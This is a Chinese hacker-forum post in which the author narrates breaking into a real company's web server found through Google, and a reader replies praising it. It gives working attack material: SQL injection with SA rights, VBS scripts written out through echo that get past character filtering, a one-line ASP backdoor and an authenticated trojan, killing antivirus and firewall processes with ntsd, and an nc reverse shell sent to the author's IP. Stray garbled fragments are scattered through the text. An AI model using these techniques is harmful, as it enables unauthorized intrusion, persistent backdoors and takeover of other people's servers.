脚本的巧妙应用

韩冰

作者:haicao [E.S.T] 3 b# y, R0 ^' a, ^ j4 |今天在网上看到一个动画，动画里说那些大公司的安全做的怎么怎么差，所以我便决定找个看看，在GOOGLE随便输入了"集团",搜索到的第一页随便点击就进了一家公司的网站。随便点了一个连接加了一个单引号 , X$ h: N. e4 O$ K6 Mhttp://www.xxx.com.cn/gushi.asp?pid=8&cid=111' 晕，返回错误： 8 r9 t3 F# v9 [* R" JMicrosoft VBScript 编译器错误 错误 '800a03f6' 6 ~) B" J" J) X1 ?0 x* q + m1 I; P' S/ E* Z: R' p' {' d缺少 'End' ! `; O4 ^5 T' m) D$ A% U/iisHelp/common/500-100.asp，行242 . v9 H+ p! x0 N0 d5 Y/ r' A$ S6 w( _ Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' / l- q! S0 ?! [ [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。 /inc/artid.inc，行8 返回的信息说明是SQL Server ping www.xxx.com.cn后返回IP：61.XX.XX.68通过IP可以直接访问这个网站，说明是独立的服务器。 我一下来了兴致看来是家有钱的大公司，用NBSI检测了下这个连接,竟然是SA权限的！ 我用SUPERSCAN扫描了这台主机的开放端口只开放了80及8080端口(都是提供web服务，看来是装了_blank">防火墙，意料之中)。这样的话直接添加用户开3389什么都失去了意义了。只好重新理清头绪。 首先想到的是用ECHO写一个ftp.txt文件然后执行ftp -s:ftp.txt来下载一个nc在NBSI里执行命令反向连接过来就可以得到它的系统权限了，但在用ECHO写文件时又出了问题了，我输入一条ECHO命令竟然执行了四次。如图我输入命令 echo open ftp.eviloctal.com>>e:\xxxweb\app\3.txt(e:\xxxweb为网站根目录)竟然往文件里写入了四次这样的话直接用ftp.txt下载文件肯定没戏。 - D7 q; p) U( s3 \ D 9 c# f6 m; k2 s& Y$ U- } 5 L- {3 q6 x( C5 n9 \( s1 e(特别提示：用NBSI执行命令的时侯最好不要勾选尝试返回结果，因为执行命令会很慢很慢，而用重定向符">>"把命令的执行结果重定向输出到web目录比如dir c:\可以写成dir c:\ >> e:\xxxweb\app\1.txt这样速度很快然后通过浏览器查看命令执行结果浏览http://www.xxx.com.cn/app/1.txt e:\xxxweb为网站的根目录) 如果能把那个一句话的后门(服务端:)写到WEB目录就好办了，但是不管怎么ECHO %也被过滤掉了。在本地执行echo ^的文件，但在NBSI里执行时无论如何生成的文件中%被过滤了。内容变成: ) o: G% `* v) K, n7 B a& L! g- X- j9 M5 u, e7 G <execute request("l")> <execute request("l")> <execute request("l")> <execute request("l")> % _5 }8 ?1 r5 i) Z/ S/ R这样的话，就没办法直接写一句话的ASP服务端后门了。(内容为四句原因同上)我想到了先写一个VBS脚本然后把要写的文件内容作为参数传递给VBS脚本去处理生成相应的文件。 $ h- O2 ]; @+ h' \写文件的脚本writefile.vbs(命令格式为cscript writefile.vbs "要写的字串" 目标文件)内容为： on error resume next:x=1: ) O1 k8 ]$ }! e( `# P9 A S% Ystr=replace(Wscript.Arguments(0),"==",vbcrlf): '将==替换回车 ( T' a: n# @) p A D1 Fstr=replace(str,"**",""""): ‘将**替换为符号" str=replace(str,"--",chr(38)): ‘将--替换为符号 & & U X& [ U0 }1 e! _str=replace(str,"@@",chr(37)): '将@@替换符号% & W! n i5 \/ v( y# }0 m: e# ~- ]: ~Set fso = CreateObject("Scripting.FileSystemObject"): - [: |' i" |& A4 X; `# v, BSet a = fso.CreateTextFile(Wscript.Arguments(1),true): ‘创建文件,文件名为执行时给出的第二个参数 if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if: : G3 P; A3 S% @5 W. W; G; V这个文件得用ECHO命令把它写到服务器上xxx.vbe或xxx.vbs，然后用这个VBS写我们要的文件。(上面中因为像",%,&,回车符 是不能直接作为参数传递给脚本文件的,所以还需要对这些字符进行替换。下面的脚本trans.vbs将完成相反的过程) 简单解释一下：第一条语句是最重要的，容错语句不管后面的程序出了什么错都继续执行。其次是IF语句，为了避免多条语句重复向文件写入同样的内容用了一个标志若x=1才执行写文件，写完马上把x赋值为2。其次可能你会感到奇怪为什么每条语句后加了:，其实是因为我考虑到如果在同一行有多条相同的语句的时侯可以保证程序还能执行。比如: 1 z& z' V) \* |0 l& e( ^' A Nstr=replace(Wscript.Arguments(0),"==",vbcrlf):str=replace(Wscript.Arguments(0),"==",vbcrlf): $ T# ?1 P# U1 A6 y若写成str=replace(Wscript.Arguments(0),"==",vbcrlf) - f2 u1 e+ b, a$ X U7 Q1 h% } m则一行显示多条相同语句时变成 str=replace(Wscript.Arguments(0),"==",vbcrlf)str=replace(Wscript.Arguments(0),"==",vbcrlf) 6 ?% j! D! ?! }7 R. O# V8 o这样程序便不能正常执行了。 4 b h" B+ l9 b# g* O",%,&,回车符 是不能直接作为参数传递给脚本文件,容易看出用==代替了回车，用**代替了双引号,用--代替了&，用@@代替了%.在执行写文件得先把我们要写的文件比如转换成writefile.vbs可以接受的格式。用下面的脚本转换trans.vbs(命令格式为cscript trans.vbs 源文件 目标文件)： on error resume next * `. O1 R; l2 j/ k8 sif Wscript.Arguments.count<>2 then wscript.echo "参数有误啦 格式为:cscript trans.vbs 源文件 目标文件" : u& @& Z; B9 w% U6 a. T7 ^ wscript.quit end if Set fso=CreateObject("Scripting.FileSystemObject") 1 D4 g. Z6 N) D9 {, x5 MSet a=fso.openTextFile(Wscript.Arguments(0)) Z* A1 w" g. s7 W- y( ustr=a.readall . Z% L) s" p5 bstr=replace(str,"""","**") '把双引号替换成** 4 A. w3 U7 w, o# h! Bstr=replace(str,vbcrlf,"==") '把回车替换成== str=replace(str,"&","--") '把&号替换成-- ( k' R0 H5 k: X, Mstr=replace(str,"%","@@") '把%替换成@@ 1 m/ Y' m+ i% O3 _0 ~* Cwscript.echo str " v4 S$ d( U8 jSet a=fso.CreateTextFile(Wscript.Arguments(1), True) " k2 X& ~, x( a. ~ K' f( ba.Write(str) 4 ^9 i/ z& P) O5 i* ] , }9 |2 Z* y7 D& a在本地执行cscript trans.vbs one.txt onetrans.txt 5 t$ ~. o6 `( p' q V, z其中one.txt为我们的一句话后门内容为： 转换后内容存在onetrans.txt中内容变成转换后的：<@@execute request(**l**)@@>保存在文件onetrans.txt中。 3 J# R* w; _9 L4 G' |& S lwritefile.vbs的ECHO代码为： * J( M3 w: x: j) decho on error resume next:x=1:>>writefile.vbe + X/ T" o, H. x3 f& K1 Q% N9 @echo str=replace(Wscript.Arguments(0),"==",vbcrlf):>>writefile.vbe echo str=replace(str,"**",""""):>>writefile.vbe echo str=replace(str,"--",chr(38)):>>writefile.vbe 2 X( I) Q# f) I/ |$ u8 fecho str=replace(str,"@@",chr(37)):>>writefile.vbe echo Set fso = CreateObject("Scripting.FileSystemObject"):>>writefile.vbe echo Set a = fso.CreateTextFile(Wscript.Arguments(1),true):>>writefile.vbe ( _) q* v! D. J9 `/ @7 m; B8 b. h) Lecho if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:>>writefile.vbe 8 H+ Q% k- d$ X " w! u* S' m8 w" }把上面的命令一句句拿到NBSI的NB Commander 命令执行器上执行一下就在对方的系统目录下写进了一个文件writefile.vbe,接着就可以把一句话的服务器的后门写到对方WEB目录下了！命令为： cscript writefile.vbe "<@@execute request(**l**)@@>" d:\web\app\1.asp (注意当传递给脚本的参数中含空格时一定得用两个双引号括起来！) 相应的地址为：http://www.xxx.com.cn/app/1.asp 7 v4 ^2 v% p& K [0 w把post.htm的form action指向这个地址我们就可以在本地把我们的木马上传到服务器上了！如图： 执行post.htm在下面的文本框中粘贴一下我们用来保存文件的ASP木马。并点击upload当成功转向EST论坛时说明ASP木马上传成功了！ 7 ~4 u" y4 ~( a% T' H 我很顺利的把保存文件的木马上传到了服务器上文件名为advv.asp.如图： # y: j1 O! |# w) Q$ q我把这个木马加了验证所以必须得通过这个url才能顺利访问: 0 v# W5 Y8 e6 x- z9 e/ q$ Q. V' ohttp://www.xxx.com.cn/app/advv.asp?id=haicao （当未加参数id=haicao时显示空页面）

韩冰

实现密码验证的功能很简单只要在ASP文件头部加上以下语句就可以了其中的haicao为密码可以自已修改。 1 z; j0 ^# p% w; e" U/ q 用保存文件木马(这里上传后文件为advv.asp)上传cmd.asp(同样加了密码验证haicao) 4 y- R4 A8 i6 U8 b3 X上传了列举进程的脚本,文件名保存为list2.vbe： 1 A5 Y0 O. k& P8 Y1 u1 pwscript.echo "PID ProcessName" for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ '<-这边有个空格 * \$ f5 b8 [3 awscript.echo ps.handle&vbtab&ps.name next 我用writefile.vbe把这个脚本直接写在system32目录(在NBSI中执行。这样运行脚本方便不用指明脚本在所在路径)命令如下： cscript writefile.vbe "wscript.echo **PID ProcessName**==for each ps in getobject(**winmgmts:\\.\root\cimv2:win32_process**).instances_ ==wscript.echo ps.handle--vbtab--ps.name==next" list2.vbe (详细使用方法同上) 列举的进程列表如下：(我直接在cmd.asp下运行cscript list.vbe，也可以在NBSI里运行cscript list.vbe >>e:\xxxweb\app\1.txt然后通过IE查看文件1.txt) ' p7 O$ F' D! t& F: k+ ~" S, NMicrosoft (R) Windows Script Host Version 5.6 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。 + q2 z: L& r$ G5 d8 t % w5 T7 E! Y: g ]1 n- R7 a+ wPID ProcessName * N2 }* E0 Q+ x4 E/ [: d0 System Idle Process # {* x2 q3 E3 x% `5 h8 System 160 SMSS.EXE & ^; e' C& F) q' _! o1 V184 CSRSS.EXE 204 WINLOGON.EXE # Q5 `& W( C' [7 j232 SERVICES.EXE 0 k/ L6 H, ?2 ?+ X244 LSASS.EXE , I5 V# M. g( b$ j4 k* o0 n3 \448 svchost.exe 480 spoolsv.exe ) ?, t, [9 ?! p+ Z' w7 G; {& x508 msdtc.exe 624 svchost.exe 3 Y+ i6 q( M7 n- @8 ^, X8 i% f; J7 O1 r652 LLSSRV.EXE & O) J" P- k$ O7 w. H0 h ]) F% `: X% u692 sqlservr.exe 744 regsvc.exe $ }$ b% K' u7 o. @2 N T780 mstask.exe 0 S, X7 Q7 M3 p! U% U! e0 W J1 z848 WinMgmt.exe 900 svchost.exe ! p+ V' t5 G! A, w) m3 a2 N920 dfssvc.exe 936 inetinfo.exe 952 mssearch.exe 2 ]0 _2 M5 n F1256 DLLHOST.EXE 1296 DLLHOST.EXE 1648 svchost.exe ) K/ @3 e# {5 x1 T968 explorer.exe 1784 Rfw.exe <-瑞星的网络_blank">防火墙 1628 internat.exe ! [3 E' ]9 q2 u% n, `5 Y0 u1612 sqlmangr.exe 1944 CCenter.exe & N; f( R! n- `" g1572 RavTimer.exe # n6 P4 w1 [7 d% S* |1260 Rav.exe : Z {" H1 x* o& n) V1652 RsAgent.exe + K' y# U; R$ O996 agentsvr.exe : A, W$ a) q) m) V. D h2048 sqlagent.exe % V2 d' j# X; G( v$ H1172 CMD.EXE % ~+ {$ p3 a1 O" \* W2024 cscript.exe 第一列为进程ID第二列为进程名。 开启的服务如下：(命令为net start,执行方法同上) 已经启动以下 Windows 2000 服务: Alerter & j" c; W2 Y1 w# B( e4 l Automatic Updates COM+ Event System ( U8 u6 X6 @1 V6 e/ m1 T9 F0 ^ Computer Browser DHCP Client Distributed File System Distributed Link Tracking Client Distributed Transaction Coordinator DNS Client : J6 \7 w! k% y6 A1 i r8 |! m9 }, b8 c Event Log 3 a1 n" p) p( _! ]7 j$ ^8 B IIS Admin Service - C- C, y% I: [* F3 B2 ?: E; F IPSEC Policy Agent 7 N% x4 [! U) D/ C# { License Logging Service ) G* q1 g, S# G0 f# x Logical Disk Manager Messenger + K6 p H# Q: h$ T8 b8 p% n Microsoft Search $ [( b; k* I. N6 r$ a7 _ MSSQLSERVER Network Connections 4 j" _& ?8 q1 W+ P2 `8 T: ` NT LM Security Support Provider Plug and Play Print Spooler 4 ~, d, P+ H9 J Protected Storage - p/ P4 C' K7 Y3 z* x6 F# i4 T5 } Remote Access Connection Manager % E% }( V0 i: ^! C0 }3 d$ \" R Remote Procedure Call (RPC) Remote Registry Service Removable Storage ) u; E. n1 ]$ C; f- X Rising Process Communication Center + q J/ f& d" N) f: Q7 D. y# C' [ RunAs Service Security Accounts Manager Server Site Server ILS Service SQLSERVERAGENT System Event Notification 3 Q, E, c2 [8 [/ N6 C9 W. j Task Scheduler TCP/IP NetBIOS Helper Service Telephony Windows Management Instrumentation ; {* s, Z5 G K- C* Q" b Windows Management Instrumentation Driver Extensions $ g; ^* K0 j! J3 G Workstation World Wide Web Publishing Service 2 q' L2 K& N7 q' x- T! @ " E% | ~9 h, _ n7 o* `4 z命令成功完成。 - B- o- `* ?( E% s我先后在NBSI里执行了ntsd命令关掉瑞星网络_blank">防火墙及瑞星杀毒软件(命令格式为ntsd -c q -p PID). 关掉网络_blank">防火墙后,依然只能连到原先可以访问的80及8080(都是web服务。基本上是硬件_blank">防火墙或者是过滤了tcp端口)还上传了海洋顶端(用advv.asp上传)，用海洋顶端上传了NC.EXE，先在本机nc -vv -l -p 80监听后，然后在NBSI里执行反向连接的命令（注：那为什么要在NBSI而不直接在cmd.asp里执行反向连接呢，相信你已经想到了在NBSI里反向过来的是administrator权限而cmd.asp里执行反向命令连接过来的却只有iusr权限,呵呵。 ）nc 222.75.88.181 -r 80 -e cmd.exe其中222.75.88.181是我的IP顺利的得到了对方的shell如图: L( _6 b& [2 b. a 9 X7 H, g8 Z: {( h5 a/ P a8 N之后我尝试了几个其它的端口依然可以正常的反向连接过来，到此我没再深入下去了，怕怕。 后记:在上传一句话的服务端ASP后门之前我先用writefile.vbe写了ftp.txt的文件进行下载,但是失败了下载完文件的大小为0字节,开始没仔细看就尝试反向连接，失败了,很郁闷(:后来才发现是FTP下载失败.灵活的应用vbs脚本将会使成功入侵顺利得多,呵呵.这次成功的入侵有一些偶然，因为是独立的服务器权限设置全部是默认的设置，省了不少麻烦。如果是虚拟主机SQL也不可能是SA权限的。这次的入侵有点偶然，但灵活的脚本应用也是这次成功的关键！

文章相关脚本下载：http://haicao.1ki.cn/down/otherscript.rar

cyril

支持楼主的技术大贴！！